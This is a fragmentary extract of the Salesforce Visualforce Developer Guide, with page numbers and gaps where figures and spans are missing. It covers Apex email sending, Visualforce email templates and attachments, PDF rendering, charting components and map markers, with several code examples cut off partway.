<apex:panelGrid columns="3">
<apex:selectList id="unselected_list" required="false"
value="{!selected}" multiselect="true" size="20"
style="width:250px">
<apex:selectOptions value="{!unSelectedOptions}"/>
</apex:selectList>
<apex:panelGroup>
<apex:commandButton value=">>" action="{!DoSelect}"
reRender="selectionBlock"/>
<br/>
191
This is the page that presents the user with the option of selecting which object relationships to display. Notice that the selected and
unselected lists are populated through dynamic means.
After assembling the controller extension and these pages, navigate to /apex/dynVFClassroom in your organization. Youll see
a sequence similar to the following:
192
193
194
Notice in the page markup that the account ID is retrieved from the URL of the page. For this example to render properly, you must
associate the Visualforce page with a valid account record in the URL. For example, if 001D000000IRt53 is the account ID, the
resulting URL should be:
https://Salesforce_instance/apex/sendEmailPage?id=001D000000IRt53
Displaying Field Values with Visualforce on page 18 has more information about retrieving the ID of a record.
The following code creates a controller named sendEmail that implements the Messaging.SingleEmailMessage class,
and uses the contacts related to an account as recipients:
public class sendEmail {
public String subject { get; set; }
public String body { get; set; }
private final Account account;
// Create a constructor that populates the Account object
public sendEmail() {
account = [select Name, (SELECT Contact.Name, Contact.Email FROM Account.Contacts)
from Account where id = :ApexPages.currentPage().getParameters().get('id')];
}
public Account getAccount() {
return account;
}
public PageReference send() {
// Define the email
Messaging.SingleEmailMessage email = new Messaging.SingleEmailMessage();
String addresses;
if (account.Contacts[0].Email != null)
{
addresses = account.Contacts[0].Email;
// Loop through the whole list of contacts and their emails
for (Integer i = 1; i < account.Contacts.size(); i++)
{
if (account.Contacts[i].Email != null)
{
addresses += ':' + account.Contacts[i].Email;
}
}
}
195
196
SEE ALSO:
Apex Developer Guide: Outbound Email
197
<apex:panelGrid columns="2">
<apex:outputLabel for="Name" value="Name"/>
<apex:outputText id="Name" value="{!account.Name}"/>
<apex:outputLabel for="Owner" value="Account Owner"/>
<apex:outputText id="Owner" value="{!account.Owner.Name}"/>
<apex:outputLabel for="AnnualRevenue" value="Annual Revenue"/>
<apex:outputText id="AnnualRevenue" value="{0,number,currency}">
<apex:param value="{!account.AnnualRevenue}"/>
</apex:outputText>
<apex:outputLabel for="NumberOfEmployees" value="Employees"/>
<apex:outputText id="NumberOfEmployees" value="{!account.NumberOfEmployees}"/>
</apex:panelGrid>
</apex:page>
Note: See Best Practices for Rendering PDF Files on page 345 for details of which components are recommended for use in PDF
attachments.
Next, create the EmailFileAttachment object in the send() method of your custom controller. The following examples must
be placed before calling Messaging.sendEmail:
// Reference the attachment page, pass in the account ID
PageReference pdf = Page.attachmentPDF;
pdf.getParameters().put('id',(String)account.id);
pdf.setRedirect(true);
// Take the PDF content
Blob b = pdf.getContent();
// Create the email attachment
Messaging.EmailFileAttachment efa = new Messaging.EmailFileAttachment();
efa.setFileName('attachment.pdf');
efa.setBody(b);
If your SingleEmailMessage object is named email, then you associate the attachment like this:
email.setFileAttachments(new Messaging.EmailFileAttachment[] {efa});
198
Then add the custom component to render at the bottom of your previous sendEmailPage:
<apex:pageBlock title="Preview the Attachment for {!account.name}">
<c:attachment/>
</apex:pageBlock>
If you want to make changes to both the attachment and the preview, the attachment custom component needs to be modified
in only one location.
199
200
<apex:facet name="header">Name</apex:facet>
{!contact.Name}
</apex:column>
<apex:column>
<apex:facet name="header">Email</apex:facet>
{!contact.Email}
</apex:column>
</apex:dataTable>
<apex:form><br/><br/>
<apex:outputLabel value="Subject" for="Subject"/>: <br/>
<apex:inputText value="{!subject}" id="Subject" maxlength="80"/>
<br/><br/>
<apex:outputLabel value="Body" for="Body"/>: <br/>
<apex:inputTextarea value="{!body}" id="Body" rows="10" cols="80"/>
<br/><br/>
<apex:commandButton value="Send Email" action="{!send}"/>
</apex:form>
</apex:pageBlock>
<apex:pageBlock title="Preview the Attachment for {!account.name}">
<c:attachment/>
</apex:pageBlock>
</apex:page>
SEE ALSO:
Apex Developer Guide: EmailFileAttachment Class
201
Adding Attachments
Using Custom Controllers within Visualforce Email Templates
16. To specify the version of Visualforce and the API used with this email template, click Version Settings. If youve installed managed
packages from the AppExchange, you can also specify which version of each managed package to use with this email template.
Generally, use the default value for all versions, to associate the email template with the most recent version of Visualforce, the API,
and each managed package. To maintain specific behavior, you can specify an older version of Visualforce and the API. To access
components or functionality that differ from the most recent package version, you can specify an older version of a managed package.
202
17. To view the details of the template, click Save. To continue editing your template, click Quick Save. Your Visualforce markup must
be valid before you can save your template.
Note: The maximum size of a Visualforce email template is 1 MB.
You cant send a mass email using a Visualforce email template. The {!Receiving_User.field_name} and
{!Sending_User.field_name} merge fields work only for mass email and are unavailable in Visualforce email
templates.
The following example shows how you can define a Visualforce email template that displays all the cases associated with a contact. The
example uses an <apex:repeat> tag to iterate through all the cases related to a contact and incorporate them into the body of
the template:
<messaging:emailTemplate recipientType="Contact"
relatedToType="Account"
subject="Case report for Account: {!relatedTo.name}"
language="{!recipient.language__c}"
replyTo="[email protected]">
<messaging:htmlEmailBody>
<html>
<body>
<p>Dear {!recipient.name},</p>
<p>Below is a list of cases related to {!relatedTo.name}.</p>
<table border="0" >
<tr>
<th>Case Number</th><th>Origin</th>
<th>Creator Email</th><th>Status</th>
</tr>
<apex:repeat var="cx" value="{!relatedTo.Cases}">
<tr>
<td><a href =
"https://yourInstance.salesforce.com/{!cx.id}">{!cx.CaseNumber}
</a></td>
<td>{!cx.Origin}</td>
<td>{!cx.Contact.email}</td>
<td>{!cx.Status}</td>
</tr>
</apex:repeat>
</table>
<p/>
<center>
<apex:outputLink value="http://www.salesforce.com">
For more detailed information login to Salesforce.com
</apex:outputLink>
</center>
</body>
</html>
</messaging:htmlEmailBody>
</messaging:emailTemplate>
203
The attributes recipientType and relatedToType act as controllers for the email template. With them you can access
the same merge fields that are available to other standard controllers. The recipientType attribute represents the recipient
of the email. The relatedToType attribute represents the record to associate with the email.
The <messaging:htmlEmailBody> component can include a mix of Visualforce markup and HTML. The
<messaging:plainTextEmailBody> component can only include Visualforce markup and plain text.
To translate Visualforce email templates based on recipients or related objects languages, use the
<messaging:emailTemplate> tag's language attribute (valid values: Salesforce supported language keys, for example,
en-US). The language attribute accepts merge fields from the email template's recipientType and relatedToType
attributes. You create custom language fields for use in the merge fields. The Translation Workbench is required to translate email
templates. The example uses a merge field to obtain a language attribute for the contact receiving the email.
SEE ALSO:
Using a Custom Stylesheet in a Visualforce Email Template
204
color: #000000;
border-width: 1px ;
padding: 4px ;
border-style: solid ;
border-color: #000000;
background-color: #FFFFF0;
}
</style>
<body>
<p>Dear {!recipient.name},</p>
<table border="0" >
<tr>
<th>Case Number</th><th>Origin</th>
<th>Creator Email</th><th>Status</th>
</tr>
<apex:repeat var="cx" value="{!relatedTo.Cases}">
<tr>
<td><a href =
"https://na1.salesforce.com/{!cx.id}">{!cx.CaseNumber}
</a></td>
<td>{!cx.Origin}</td>
<td>{!cx.Contact.email}</td>
<td>{!cx.Status}</td>
</tr>
</apex:repeat>
</table>
</body>
</html>
</messaging:htmlEmailBody>
</messaging:emailTemplate>
205
206
Adding Attachments
padding: 4px ;
border-style: solid ;
border-color: #000000;
background-color: #FFFFF0;
}
</style>
</apex:component>
Then, in the Visualforce email template, you can reference just that component:
<messaging:htmlEmailBody>
<html>
<c:EmailStyle />
<body>
<p>Dear {!recipient.name},</p>
...
</body>
</html>
</messaging:htmlEmailBody>
Note: Any <apex:component> tags used within a Visualforce email template must have an access level of global.
Adding Attachments
You have the ability to add attachments to your Visualforce email templates. Each attachment must be encapsulated within a single
<messaging:attachment> component. Code within <messaging:attachment> can be a combination of HTML and
Visualforce tags.
The previous example shows how to create a Visualforce email template by iterating through some data and displaying it to an email
recipient. This example shows how to modify that markup to display the data as an attachment:
<messaging:emailTemplate recipientType="Contact"
relatedToType="Account"
subject="Case report for Account: {!relatedTo.name}"
replyTo="[email protected]">
<messaging:htmlEmailBody>
<html>
<body>
<p>Dear {!recipient.name},</p>
<p>Attached is a list of cases related to {!relatedTo.name}.</p>
<center>
<apex:outputLink value="http://www.salesforce.com">
For more detailed information login to Salesforce.com
</apex:outputLink>
</center>
</body>
</html>
</messaging:htmlEmailBody>
<messaging:attachment>
<apex:repeat var="cx" value="{!relatedTo.Cases}">
Case Number: {!cx.CaseNumber}
Origin: {!cx.Origin}
207
Adding Attachments
This markup renders in an email as an attached data file, without any formatting. You can display the data in a more readable format by
using one of the following options:
Changing the Filename
Changing the renderAs Attribute
Adding Styles and Images
208
Adding Attachments
Although you can only define one filename for every <messaging:attachment> component, you can attach multiple files to
an email.
209
Adding Attachments
If the PDF file fails to display all the pages text, particularly multibyte characters such as Japanese or accented international characters,
adjust your CSS to use a font that supports them. For example:
<apex:page showHeader="false" applyBodyTag="false" renderAs="pdf">
<head>
<style>
body { font-family: 'Arial Unicode MS'; }
</style>
</head>
<body>
<br/>
This is a sample page: API version 28.0
</body>
</apex:page>
Arial Unicode MS is the only font supported for extended character sets that include multibyte characters.
If you use inline CSS styles, set the API version to 28.0 or later. Also set <apex:page applyBodyTag="false">, and add
static, valid <head> and <body> tags to your page, as in the previous example.
The maximum response size when creating a PDF file must be less than 15 MB before being rendered as a PDF file. This limit is the
standard limit for all Visualforce requests.
The maximum file size for a generated PDF file is 60 MB.
The maximum total size of all images included in a generated PDF is 30 MB.
PDF rendering doesnt support images encoded in the data: URI scheme format.
The following components dont support double-byte fonts when rendered as PDF.
<apex:pageBlock>
<apex:sectionHeader>
These components arent recommended for use in pages rendered as PDF.
If an <apex:dataTable> or <apex:pageBlockTable> has no <apex:column> components that are rendered,
rendering the page as PDF fails. To work around this issue, set the table components rendered attribute to false if none of
its child <apex:column> components are rendered.
210
Warning: Referencing static resources on a remote server can increase the time it takes to render a PDF attachment. You cant
reference remote resources when creating PDF attachments in an Apex trigger; doing so will result in an exception.
Next, create a custom component named smithAccounts that uses this controller:
<apex:component controller="findSmithAccounts" access="global">
<apex:dataTable value="{!SmithAccounts}" var="s_account">
<apex:column>
<apex:facet name="header">Account Name</apex:facet>
{!s_account.Name}
</apex:column>
</apex:dataTable>
</apex:component>
Tip: Remember that all custom components used in Visualforce email templates must have an access level of global.
Finally, create a Visualforce email template that includes the smithAccounts component:
<messaging:emailTemplate subject="Embedding Apex Code" recipientType="Contact"
relatedToType="Opportunity">
<messaging:htmlEmailBody>
<p>As you requested, here's a list of all our Smith accounts:</p>
<c:smithAccounts/>
<p>Hope this helps with the {!relatedToType}.</p>
211
</messaging:htmlEmailBody>
</messaging:emailTemplate>
Notice that although the relatedToType attribute is required by the emailTemplate component, it does not have any effect
on this example. It has the value of "Opportunity" only to show that it can take an object value that is different than the object
used in the custom component.
Note: Sharing settings are enforced if your email templates use a standard controller. If your organization-wide default for the
user object is set to Private and you need to access user information such as name and email address in your Visualforce email
template, you can use a custom component or custom controller with the without sharing keywords.
For information about sharing for the user object, see User Sharing Overview in the Salesforce online help.
212
213
Visualforce Charting
Visualforce charting sends errors and messages to the JavaScript console. Keep a JavaScript debugging tool, such as Firebug, active
during development.
Dynamic (Apex-generated) charting components are not supported at this time.
The <apex:chart> component defines the chart container, and binds the component to the data source, the getPieData()
controller method. The <apex:pieSeries> describes the label and data fields to access in the returned data, to label and size
each data point.
Heres the associated controller:
public class PieChartController {
public List<PieWedgeData> getPieData() {
214
Visualforce Charting
This controller is deliberately simple; you normally issue one or more SOQL queries to collect your data.
These are the important points illustrated by the example:
The getPieData() method returns a List of simple objects, an inner class PieWedgeData used as a wrapper. Each element in
the list is used to create a data point.
The PieWedgeData class is just a set of properties, and is essentially used as a name=value store.
The chart series component <apex:pieSeries> defines which properties from the PieWedgeData class to use to determine
each point in the series. In this simple example theres no mystery, but in charts with multiple series and axes this convention allows
the efficient return of the entire data set in one List object.
215
Visualforce Charting
216
Visualforce Charting
217
Visualforce Charting
To support this chart, add the following controller method to the PieChartController class defined in A Simple Charting Example
on page 214:
@RemoteAction
public static List<PieWedgeData> getRemotePieData() {
List<PieWedgeData> data = new List<PieWedgeData>();
data.add(new PieWedgeData('Jan', 30));
data.add(new PieWedgeData('Feb', 15));
data.add(new PieWedgeData('Mar', 10));
data.add(new PieWedgeData('Apr', 20));
data.add(new PieWedgeData('May', 20));
data.add(new PieWedgeData('Jun', 5));
return data;
}
SEE ALSO:
Chart Data Format
JavaScript Remoting for Apex Controllers
Refreshing Chart Data Using JavaScript Remoting
When using this technique, if your data is coming from a non-Salesforce source, you might not need any server-side Apex code at all.
SEE ALSO:
Chart Data Format
218
Visualforce Charting
Chart data provided by JavaScript methods should be a JavaScript array of arrays. Each inner array represents a record or data point. Data
fields are made accessible as name: value pairs. See Providing Chart Data via a JavaScript Array on page 218 for an example.
SEE ALSO:
Providing Chart Data via a JavaScript Array
219
Visualforce Charting
Note: The @RemoteAction method isnt used in the chart examples in this topic, but it illustrates how you can re-use your
data generation method for both server-side and JavaScript remoting methods.
<apex:page controller="ChartController">
<apex:chart height="400" width="700" data="{!data}">
<apex:axis type="Numeric" position="left" fields="data1"
title="Opportunities Closed" grid="true"/>
<apex:axis type="Category" position="bottom" fields="name"
title="Month of the Year">
</apex:axis>
<apex:lineSeries axis="left" fill="true" xField="name" yField="data1"
markerType="cross" markerSize="4" markerFill="#FF0000"/>
</apex:chart>
</apex:page>
220
Visualforce Charting
There are a number of marker attributes that you can use to differentiate each line in the chart.
<apex:page controller="ChartController">
<apex:chart height="400" width="700" data="{!data}">
<apex:axis type="Numeric" position="left" fields="data1,data2"
title="Opportunities Closed" grid="true"/>
<apex:axis type="Category" position="bottom" fields="name"
title="Month of the Year">
</apex:axis>
<apex:lineSeries axis="left" fill="true" xField="name" yField="data1"
markerType="cross" markerSize="4" markerFill="#FF0000"/>
<apex:lineSeries axis="left" xField="name" yField="data2"
markerType="circle" markerSize="4" markerFill="#8E35EF"/>
</apex:chart>
</apex:page>
The important thing to note is how both data1 and data2 fields are bound to the vertical <apex:axis> by the fields attribute
of that component. This allows the charting engine to determine appropriate scale and tick marks for the axis.
221
Visualforce Charting
<apex:page controller="ChartController">
<apex:chart height="400" width="700" data="{!data}">
<apex:axis type="Numeric" position="left" fields="data1,data2"
title="Opportunities Closed" grid="true"/>
<apex:axis type="Numeric" position="right" fields="data3"
title="Revenue (millions)"/>
<apex:axis type="Category" position="bottom" fields="name"
title="Month of the Year"/>
<apex:lineSeries axis="left" fill="true" xField="name" yField="data1"
markerType="cross" markerSize="4" markerFill="#FF0000"/>
<apex:lineSeries axis="left" xField="name" yField="data2"
markerType="circle" markerSize="4" markerFill="#8E35EF"/>
<apex:barSeries orientation="vertical" axis="right"
xField="name" yField="data3"/>
</apex:chart>
</apex:page>
222
Visualforce Charting
<apex:page controller="ChartController">
<apex:chart height="400" width="700" data="{!data}">
<apex:legend position="right"/>
<apex:axis type="Numeric" position="left" fields="data1"
title="Opportunities Closed" grid="true"/>
<apex:axis type="Numeric" position="right" fields="data3"
title="Revenue (millions)"/>
<apex:axis type="Category" position="bottom" fields="name"
title="Month of the Year">
<apex:chartLabel rotate="315"/>
</apex:axis>
<apex:barSeries title="Monthly Sales" orientation="vertical" axis="right"
xField="name" yField="data3">
<apex:chartTips height="20" width="120"/>
</apex:barSeries>
<apex:lineSeries title="Closed-Won" axis="left" xField="name" yField="data1"
fill="true" markerType="cross" markerSize="4" markerFill="#FF0000"/>
<apex:lineSeries title="Closed-Lost" axis="left" xField="name" yField="data2"
markerType="circle" markerSize="4" markerFill="#8E35EF"/>
</apex:chart>
</apex:page>
223
Visualforce Charting
The <apex:chartTips> component enables rollover tool tips that provide additional information about each data point in
the series that encloses it.
SEE ALSO:
How Visualforce Charting Works
224
Visualforce Charting
</apex:pageBlockSection>
</apex:pageBlock>
</apex:page>
This markup attaches a chart component to its data source by setting the charts data attribute to the Visualforce expression
{!pieData}. The expression calls the getPieData() controller method, which returns the data. The chart is wrapped in an
<apex:outputPanel> with an id attribute of theChart.
An <apex:form> component is used to submit a new year back to the pages controller when the chart needs to be updated. The
<apex:selectList> tag displays the years available to chart, and a child <apex:actionSupport> tag submits the form
whenever the menu changes. The id of the charts <apex:outputPanel>, theChart, is used in the
<apex:actionSupport> reRender attribute to limit updating to the chart, instead of reloading the whole page. Finally, an
<apex:actionStatus> component provides a status message while the chart is refreshing. Its easy to replace the minimal text
message with an animated graphic or text effect.
PieChartRemoteController
The controller for this page is an expansion of the pie chart controller used in A Simple Charting Example on page 214.
public class PieChartRemoteController {
// The year to be charted
public String chartYear {
get {
if (chartYear == Null) chartYear = '2013';
return chartYear;
}
set;
}
// Years available to be charted, for <apex:selectList>
public static List<SelectOption> getChartYearOptions() {
List<SelectOption> years = new List<SelectOption>();
years.add(new SelectOption('2013','2013'));
years.add(new SelectOption('2012','2012'));
years.add(new SelectOption('2011','2011'));
years.add(new SelectOption('2010','2010'));
return years;
}
public List<PieWedgeData> getPieData() {
// Visualforce expressions can't pass parameters, so get from property
return PieChartRemoteController.generatePieData(this.chartYear);
}
@RemoteAction
public static List<PieWedgeData> getRemotePieData(String year) {
// Remoting calls can send parameters with the call
return PieChartRemoteController.generatePieData(year);
}
// Private data "generator"
225
Visualforce Charting
This controller supports providing data to a Visualforce chart two different ways:
Using a Visualforce expression, {!pieData}, which calls the instance method getPieData().
Using JavaScript remoting, by calling the @RemoteAction static method getRemotePieData() from a JavaScript method.
SEE ALSO:
Refreshing Chart Data Using JavaScript Remoting
Providing Chart Data via a Controller Method
apex:actionSupport
apex:actionStatus
226
Visualforce Charting
The following markup displays a pie chart that can be updated by choosing a new year from a menu next to the chart:
<apex:page controller="PieChartRemoteController">
<script>
function retrieveChartData(callback) {
var year = document.getElementById('theYear').value;
Visualforce.remoting.Manager.invokeAction(
'{!$RemoteAction.PieChartRemoteController.getRemotePieData}',
year,
function(result, event) {
if(event.status && result && (result.constructor === Array)) {
callback(result);
RemotingPieChart.show();
}
else if (event.type === 'exception') {
document.getElementById("remoteResponseErrors").innerHTML = event.message
+
'<br/>' + event.where;
}
else {
document.getElementById("remoteResponseErrors").innerHTML = event.message;
}
},
{ escape: true }
);
}
function refreshRemoteChart() {
var statusElement = document.getElementById('statusDisplay');
statusElement.innerHTML = "loading...";
retrieveChartData(function(statusElement){
return function(data){
RemotingPieChart.reload(data);
statusElement.innerHTML = '';
};
}(statusElement)
);
}
</script>
<apex:pageBlock title="Charts">
<apex:pageBlockSection title="Visualforce Charting + JavaScript Remoting">
<apex:chart height="350" width="450" data="retrieveChartData"
name="RemotingPieChart" hidden="true">
<apex:pieSeries dataField="data" labelField="name"/>
<apex:legend position="right"/>
</apex:chart>
<div>
<select id="theYear" onChange="refreshRemoteChart();">
<option value="2013">2013</option>
<option value="2012">2012</option>
<option value="2011">2011</option>
227
Visualforce Charting
<option value="2010">2010</option>
</select>
<span id="statusDisplay"></span>
<span id="remoteResponseErrors"></span>
</div>
</apex:pageBlockSection>
</apex:pageBlock>
</apex:page>
This markup attaches a chart component to its data source by setting the charts data attribute to the name of a JavaScript function,
retrieveChartData, which returns the data. The name of the function is provided as a string.
A static HTML <select> menu displays the years available to chart. The menu is not associated with a form element of any kind, and
its value is never submitted directly back to the controller. Instead, the <select> menus onChange attribute calls a JavaScript
function, refreshRemoteChart(), whenever the menu changes. There are two additional static HTML elements: two <span>
tags with IDs. The <span> tags are empty when the page loads, and are updated via JavaScript to display status and error messages
when necessary.
The two JavaScript functions that precede the Visualforce markup are the glue between the Visualforce chart and the @RemoteAction
controller method that provides the data. There are three links between the functions and the chart component:
1. The chart components data attribute is set to retrieveChartData, the name of the first JavaScript function. This tells the chart
component to use the JavaScript function to load its data. The chart component invokes retrieveChartData() directly
only once, when the chart is first created and the data is initially loaded.
2. Reloading happens when the second JavaScript function, refreshRemoteChart(), is called. This is the second link, from the
theYear menu. When the year menu changes, refreshRemoteChart() is invoked, and it re-invokes the
retrieveChartData() function to load a new set of data.
3. When refreshRemoteChart() invokes retrieveChartData(), it provides an anonymous function as a callback,
which handles the result of the @RemoteAction call when it returns. This callback updates the chart by calling
RemotingPieChart.reload(data). The chart itself is RemotingPieChart, named by setting the name attribute,
and reload() is a JavaScript function available on Visualforce charts once created, which accepts new data and then redraws
the chart.
This diagram illustrates these links between the different components of the page:
228
Visualforce Charting
The sequence for the initial loading of the chart is simple: the <apex:chart> named RemotePieChart calls
retrieveChartData() to get its initial data, and retrieveChartData() calls RemotePieChart.show() when it
has the data. And, the chart appears.
Updates are more complicated. When a new year is chosen from the theYear menu, the menus onChange event fires, which calls
the refreshRemoteChart() function. refreshRemoteChart() in turn calls the retrieveChartData() function,
and when the @RemoteAction returns new data, retrieveChartData() (via the callback provided by
refreshRemoteChart()) calls RemotePieChart.reload(). And, the chart updates.
Here are a couple of other items to note:
The <apex:chart> uses the hidden="true" attribute to prevent the chart from displaying before theres data to display.
The retrieveChartData() function calls RemotingPieChart.show() to display the chart once the chart data is
loaded. This and RemotingPieChart.reload() provide for much smoother chart animations than can be achieved using
<apex:actionSupport>.
The refreshRemoteData() function sets the statusElement HTML <span> to a loading message before it
attempts to update the data by calling retrieveChartData(), and then the anonymous callback function sets it to an empty
string to hide the message once the data is returned and the chart updated. Its a bit more work than using
<apex:actionStatus>, for basically the same effect. You can easily show a busy animation or graphic using the same
technique.
PieChartRemoteController
The controller for this page is an expansion of the pie chart controller used in A Simple Charting Example on page 214.
public class PieChartRemoteController {
// The year to be charted
public String chartYear {
get {
229
Visualforce Charting
230
Visualforce Charting
This controller supports providing data to a Visualforce chart two different ways:
Using a Visualforce expression, {!pieData}, which calls the instance method getPieData().
Using JavaScript remoting, by calling the @RemoteAction static method getRemotePieData() from a JavaScript method.
SEE ALSO:
Refreshing Chart Data Using <apex:actionSupport>
Providing Chart Data Using a JavaScript Function
JavaScript Remoting for Apex Controllers
Chart Colors
By default, chart colors match those of the built-in reporting and analytics charts so that you can create visually-consistent dashboards.
If you want to create your own color scheme you can customize the colors of most chart elements.
To provide a set of color definitions to draw data series elements (bars, pie wedges, and so on), use the colorSet attribute. Set
<apex:chart colorSet="..."> to specify the colors to be used for every data series in a chart. Set colorSet on a data
series component to specify colors for that series only.
A colorSet is a string that is a comma-delimited list of HTML-style hexadecimal color definitions. For example,
colorSet="#0A224E,#BF381A,#A0D8F1,#E9AF32,#E07628". Colors are used in sequence. When the end of the list
is reached, the sequence starts over at the beginning.
231
Visualforce Charting
Heres a pie chart that uses a custom color scheme for the pie wedge colors:
Use the background attribute to set a background color for the entire chart.
You can use a colorSet with all data series components except <apex:radarSeries>. Additional colorSet details and
further options for configuring colors of other chart elements are described for specific data series components.
232
Visualforce Charting
Bar Charts
Bar Charts
Bar charts are one of several linear data series charts available in Visualforce. Linear series charts are charts plotted against a standard
rectangular grid.
Each data element in a linear series is described by an X,Y coordinate. The data series defines how to draw the coordinate on the grid.
The <apex:barSeries> charts draw bars stretching between an origin axis and the X,Y coordinates. The orientation
attribute determines whether the origin axis is the left axis (Y) or the bottom axis (X). Set <apex:barSeries
orientation="horizontal"> for bars that originate on the left side of the chart, and <apex:barSeries
orientation="vertical"> for a column chart with bars that rise from the bottom of the chart.
To plot multiple data points for each bar interval, group or stack the bars within a single <apex:barSeries> tag. Multiple
<apex:barSeries> tags in a single chart draw on top of each other, obscuring all but the last data series. To create a vertical
column chart, add all fields to be grouped or stacked to the yField attribute:
<apex:barSeries orientation="vertical" axis="left"
xField="name" yField="data1,data2,data3"/>
By default, data fields in an <apex:barSeries> are grouped on a chart. To stack them on top of each other, set stacked="true".
233
Visualforce Charting
Bar Charts
Use the gutter attribute to adjust spacing between grouped bars. Use the groupGutter attribute to adjust spacing between
groups. Use the xPadding and yPadding attributes to adjust the spacing between the chart axes and the bars themselves.
By default, legend titles for stacked or grouped bar charts use the names of fields in the yField attribute. In the previous example,
the default titles are data1, data2, and data3. To give the legend more meaningful titles, use the title attribute of the
<apex:barSeries> component. Use commas to separate items. For example, title="MacDonald,Promas,Worle":
234
Visualforce Charting
SEE ALSO:
Chart Colors
Chart Layout and Annotation
235
Visualforce Charting
By default, legend titles for area charts use the names of fields in the yField attribute. In the previous example, the default titles are
data1, data2, and data3. To give the legend more meaningful titles, use the title attribute of the <apex:areaSeries>
component. Use commas to separate items. For example, title="MacDonald,Promas,Worle":
Like <apex:areaSeries> charts, <apex:lineSeries> charts use lines to connect a series of points. You can fill the area
under the line. Unlike <apex:areaSeries> charts, <apex:lineSeries>charts dont stack. When
<apex:lineSeries>charts arent filled, you might choose to put several series in the same chart. Line series can display markers
for the data points and you can define the color and size of both the markers and the connecting lines. Heres a chart that combines
three line series, one of which is filled:
236
Visualforce Charting
Pie Charts
Note: An <apex:lineSeries> component might not fill as expected if a Numeric axis doesnt increase in order as it moves
up and to the right. The solution is to set the axis to type="Category" and sort the values manually before passing the data
to the chart.
The <apex:scatterSeries> charts are like <apex:lineSeries> charts without the connecting lines. By varying the marker
size, type, and color, its easy to plot many scatter series on the same chart.
SEE ALSO:
Chart Colors
Chart Layout and Annotation
Pie Charts
The most common customizations to <apex:pieSeries> charts is to colors and labels. Use the colorSet attribute and the
<apex:chartLabel> component that were demonstrated in previous examples.
237
Visualforce Charting
Gauge Charts
To create a ring chart instead of a pie chart, set the donut attribute. The donut attribute is an integer between 0 and 100 and
represents the percentage of the radius of the hole. Heres a simple ring chart:
SEE ALSO:
Chart Colors
Chart Layout and Annotation
Gauge Charts
Gauge charts show a single measurement against a defined axis or scale. Although it charts a single number, you can vary the axis and
chart colors to communicate what that number means.
Use the minimum and maximum attributes of the <apex:axis> tag to define the range of values. Use the colorSet attribute
of the <apex:gaugeSeries> tag to indicate whether the current value is good or bad. Heres a chart that indicates the metric is
well within an acceptable range:
238
Visualforce Charting
Radar Charts
SEE ALSO:
Chart Colors
Chart Layout and Annotation
Radar Charts
Radar charts are like line charts but they use a circular axis instead of a linear grid.
Use the markerType, markerSize, and markerFill attributes to set the style, size, and color of the markers. Use the
strokeColor and strokeWidth attributes to set the color and thickness of the connecting lines. Optionally, set fill=true
to fill the area enclosed by the series, and use opacity to make it transparent so that other series remain visible. The opacity
attribute is a floating point number between 0.0 and 1.0, with 0.0 being fully transparent and 1.0 being fully opaque.
Heres an example of a radar chart, and the markup that creates it:
239
Visualforce Charting
Radar Charts
SEE ALSO:
Chart Colors
Chart Layout and Annotation
240
IN THIS SECTION:
Creating Basic Maps
A basic map without markers requires only an <apex:map> component. This component defines the maps basic canvas, including
its dimensions, location, and initial zoom level.
Adding Location Markers to a Map
You can add markers to a map to represent specific locations using the <apex:mapMarker> component. You can include text
that displays when a pointer hovers over the marker.
Using Custom Marker Icons
The Visualforce map marker icon is functional but plain. To differentiate markers and add detail or style to your maps, use custom
map marker icons.
Adding Info Windows to Markers
Info windows allow you to show extra details on a map. Info windows appear when a user clicks or taps the marker.
241
242
243
An Apex map object of type Map<String, Double>, with latitude and longitude keys to specify location coordinates.
Note: You can have up to 10 geocoded address lookups per map. Lookups for both the center attribute of the <apex:map>
component and the position attribute of the <apex:mapMarker> component count against this limit. To display more
markers, provide position values that dont require geocoding. Locations that exceed the geocoding limit are skipped.
Heres a page that shows a list of contacts for an account, centered on the accounts address.
<apex:page standardController="Account">
<!-- This page must be accessed with an Account Id in the URL. For example:
https://<salesforceInstance>/apex/NearbyContacts?id=001D000000JRBet -->
<apex:pageBlock >
<apex:pageBlockSection title="Contacts For {! Account.Name }">
<apex:dataList value="{! Account.Contacts }" var="contact">
<apex:outputText value="{! contact.Name }" />
</apex:dataList>
<apex:map width="600px" height="400px" mapType="roadmap"
center="{!Account.BillingStreet},{!Account.BillingCity},{!Account.BillingState}">
<apex:repeat value="{! Account.Contacts }" var="contact">
<apex:mapMarker title="{! contact.Name }"
position="{!contact.MailingStreet},{!contact.MailingCity},{!contact.MailingState}"
/>
</apex:repeat>
</apex:map>
</apex:pageBlockSection>
</apex:pageBlock>
</apex:page>
244
Use a common graphics format, such as PNG, GIF, or JPEG. The preferred marker size is 32 32 pixels. Other sizes are scaled, which
doesnt always produce ideal results.
Note: Visualforce maps can be resource-intensive which can cause memory issues within mobile browsers and the Salesforce1
app. Maps with many markers or large images used as custom markers can further increase memory consumption. If you plan to
deploy Visualforce maps in pages that are used in mobile contexts, be sure to test those pages thoroughly.
This complete page illustrates using a custom marker to indicate an accounts location, and standard markers for the accounts contacts.
<apex:page standardController="Account">
<!-- This page must be accessed with an Account Id in the URL. For example:
https://<salesforceInstance>/apex/AccountContacts?id=001D000000JRBet -->
245
<apex:pageBlock >
<apex:pageBlockSection title="Contacts For {! Account.Name }">
<apex:dataList value="{! Account.Contacts }" var="contact">
<apex:outputText value="{! contact.Name }" />
</apex:dataList>
<apex:map width="600px" height="400px" mapType="roadmap"
center="{!Account.BillingStreet},{!Account.BillingCity},{!Account.BillingState}">
<!-- Add a CUSTOM map marker for the account itself -->
<apex:mapMarker title="{! Account.Name }"
position="{!Account.BillingStreet},{!Account.BillingCity},{!Account.BillingState}"
icon="{! URLFOR($Resource.MapMarkers, 'moderntower.png') }"/>
<!-- Add STANDARD markers for the account's contacts -->
<apex:repeat value="{! Account.Contacts }" var="ct">
<apex:mapMarker title="{! ct.Name }"
position="{! ct.MailingStreet },{! ct.MailingCity },{! ct.MailingState }">
</apex:mapMarker>
</apex:repeat>
</apex:map>
</apex:pageBlockSection>
</apex:pageBlock>
</apex:page>
246
To use different icons for markers added inside an iteration like <apex:repeat>, use an expression related to the iteration variable
to define the URL. One simple way is to use icons named for a lookup field on a record. Another approach is to provide the icon name
in a custom formula field.
Heres the previous <apex:repeat> block with a variation that assumes the contact object has a custom field named ContactType__c
and that each contact type has a correspondingly named icon.
<!-- Add CUSTOM markers for the account's contacts -->
<apex:repeat value="{! Account.Contacts }" var="ct">
<apex:mapMarker title="{! ct.Name }"
